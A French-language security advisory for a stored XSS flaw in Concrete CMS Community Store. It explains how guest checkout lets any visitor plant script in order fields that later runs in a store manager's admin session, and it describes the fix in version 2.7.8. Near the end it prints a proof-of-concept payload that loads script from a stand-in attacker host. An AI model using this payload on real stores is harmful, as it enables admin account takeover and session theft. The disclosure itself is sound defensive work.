XSS stocké dans Concrete CMS Community Store permettant la prise de contrôle du tableau de bord d'administration
| CVE | CVE-2026-93659 |
| Composant | concretecms-community-store/community_store |
| Type | Cross-Site Scripting stocké (CWE-79) |
| Sévérité | CVSS v4.0 9.3 Critique / v3.1 8.7 Élevée |
| Affecté | Toutes les versions antérieures à 2.7.8 |
| Corrigé dans | 2.7.8 |
| Crédit | Prince Edem Fiagbedzi (découvreur) |
Community Store, un module e-commerce open source pour Concrete CMS, stockait les champs de commande fournis par le client sans les assainir et les rendait sans échappement HTML dans quatre vues destinées à l'administration. Tout visiteur non authentifié pouvait passer une commande avec une charge utile de script dans un champ tel que le prénom de facturation, et la charge utile s'exécutait dans la session authentifiée du tableau de bord d'un gestionnaire de boutique la prochaine fois qu'il ouvrait cette commande, suffisant pour créer un compte administrateur frauduleux ou exfiltrer les données de session.
Chaque commande comporte des champs fournis par le client : prénom et nom de facturation/livraison, e-mail et téléphone. Ces champs sont stockés tels quels et rendus dans quatre endroits qu'un gestionnaire de boutique consulte régulièrement :
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Point crucial : passer une commande ne nécessite aucun compte. Le paramètre de
commande en tant qu'invité de Community Store est par défaut sur always, ainsi
défini par l'installateur du paquet lui-même à chaque installation fraîche, et non
une option que l'opérateur de la boutique doit activer. Il ne s'agit donc pas d'un
bug nécessitant une boutique mal configurée ; il est exploitable contre une
installation par défaut, prête à l'emploi, sans identifiants requis.
Mettez à jour Community Store vers la version 2.7.8 ou ultérieure. Le correctif ajoute un échappement de sortie approprié aux quatre emplacements de rendu affectés. Il n'existe aucun contournement par configuration en dehors de la mise à jour, car le comportement vulnérable est l'échappement lui-même, et non un paramètre activable.
Aucun des quatre emplacements de rendu n'échappait les champs contrôlés par le client. Une ligne représentative de la vue de commande d'administration :
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Aucun appel à h(), l'helper d'échappement de sortie standard de Concrete, à
proximité, alors même que le même fichier utilisait correctement h() quelques
lignes plus loin pour d'autres valeurs. La validation des entrées n'était pas
meilleure : la seule vérification appliquée à ces champs était une limite de
longueur (1-255 caractères), rien qui supprimait ou rejetait le HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Une charge utile <script> de moins de 255 caractères dans le champ du prénom de
facturation passe la validation sans être modifiée, est stockée, puis rendue sans
échappement partout où un administrateur consulte la commande.
Le paramètre par défaut de commande en tant qu'invité est défini directement dans l'installateur :
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
Le contrôleur de commande ne force une connexion que lorsque ce paramètre est sur
off (ou option sans indicateur invité), et avec la valeur par défaut installée,
cette branche ne se déclenche jamais.
Testé contre Community Store v2.7.7 sur Concrete CMS 9.5.2 (labo Docker auto-hébergé, PHP 8.3). Charge utile soumise via une commande invité ordinaire, sans aucune authentification :
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
ajoutant l'échappement h() aux quatre emplacements de rendu affectés